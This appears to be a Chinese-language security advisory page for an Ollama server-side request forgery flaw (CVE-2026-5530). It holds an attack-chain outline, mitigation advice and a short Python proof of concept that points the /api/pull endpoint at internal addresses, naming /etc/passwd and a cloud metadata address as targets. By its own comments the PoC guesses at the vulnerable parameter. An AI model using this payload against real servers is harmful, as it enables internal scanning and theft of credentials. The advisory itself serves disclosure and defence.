IPBUF安全漏洞报告
English
CVE-2026-5530 CVSS 6.3 中危

CVE-2026-5530 Ollama SSRF漏洞

披露日期: 2026-04-05

漏洞信息

漏洞编号
CVE-2026-5530
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Ollama

相关标签

SSRFOllama服务端请求伪造CVE-2026-5530Model Pull API

漏洞概述

Ollama是一款流行的开源大语言模型运行工具。在Ollama 18.1及之前的版本中发现了一个安全漏洞,该漏洞影响了Model Pull API组件中的server/download.go文件处理逻辑。由于对特定处理过程缺乏足够的验证,攻击者可以通过发送精心构造的请求操纵服务端行为,进而触发服务端请求伪造(SSRF)。该漏洞允许攻击者进行远程利用,且无需用户交互。尽管相关方在披露前已尝试联系厂商,但截至目前未收到任何回应。此漏洞的成功利用可能导致服务器机密性、完整性和可用性受到低程度影响。

技术细节

该漏洞的核心问题出在Ollama处理模型下载的代码路径,即server/download.go中。Ollama通过Model Pull API允许用户从远程仓库拉取模型文件。在受影响版本中,系统未能对用户提供的模型来源地址或相关参数进行严格的校验和清洗。攻击者利用这一缺陷,可以注入恶意的内部地址(如127.0.0.1、内网IP段或云元数据服务地址)代替正常的模型地址。由于攻击复杂度低且无需用户交互,拥有低权限账户的攻击者即可远程发起攻击。当服务器端处理该请求时,会根据攻击者的指示向内网发起请求,从而扫描内网端口、读取敏感的本地文件(如/etc/passwd)或获取云服务凭证。CVSS评分6.3表明该漏洞具有一定的危害性,主要风险在于信息泄露和对内部系统的未授权访问。

攻击链分析

STEP 1
侦察与访问
攻击者获取目标Ollama服务器的网络访问权限,确认服务运行在默认端口(如11434),并拥有一个低权限账户。
STEP 2
构造恶意载荷
攻击者分析Model Pull API的参数,构造包含内部地址(如127.0.0.1或内网网段)的恶意请求参数,旨在触发SSRF。
STEP 3
发送漏洞利用请求
攻击者向目标Ollama服务器的/api/pull接口发送POST请求,传递包含恶意URL或模型名的JSON数据。
STEP 4
服务端请求伪造
Ollama服务器在处理请求时,解析恶意参数并尝试从该地址下载数据,实际向内部资源发起连接请求。
STEP 5
信息泄露与影响
根据内部服务的响应,攻击者可能获取敏感信息、扫描内网拓扑或导致本地服务拒绝响应,实现机密性、完整性或可用性的破坏。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Target Ollama server (default port 11434) target_host = "http://127.0.0.1:11434" endpoint = "/api/pull" url = target_host + endpoint # SSRF Payload: Attempting to probe internal metadata service or local filesystem # Note: The actual vulnerable parameter might be 'name' or a custom URL field depending on implementation detail in download.go # This example assumes the 'name' field can be manipulated to point to a local resource or internal URL. payload = { # In a real SSRF scenario, this might resolve to an internal IP or file scheme # Example: file:///etc/passwd or http://169.254.169.254/latest/meta-data/ "name": "http://127.0.0.1:8080", "stream": False } headers = { "Content-Type": "application/json" } try: print(f"[*] Sending SSRF payload to {url}...") response = requests.post(url, data=json.dumps(payload), headers=headers, timeout=10) # Check if the server processed the request (SSRF trigger) if response.status_code == 200: print("[+] Request sent successfully. Check server logs or internal network traffic for exploitation.") else: print(f"[-] Server returned status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}")

影响范围

Ollama <= 18.1

防御指南

临时缓解措施
建议立即限制Ollama服务器的出站网络访问权限,利用防火墙规则禁止其访问内网敏感网段(如127.0.0.0/8、10.0.0.0/8等)及云服务元数据地址。同时,严格校验API传入的模型名称或URL参数,确保符合预期的白名单格式。在官方补丁未发布前,可考虑暂时禁用Model Pull功能或将其部署在隔离的沙箱环境中。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表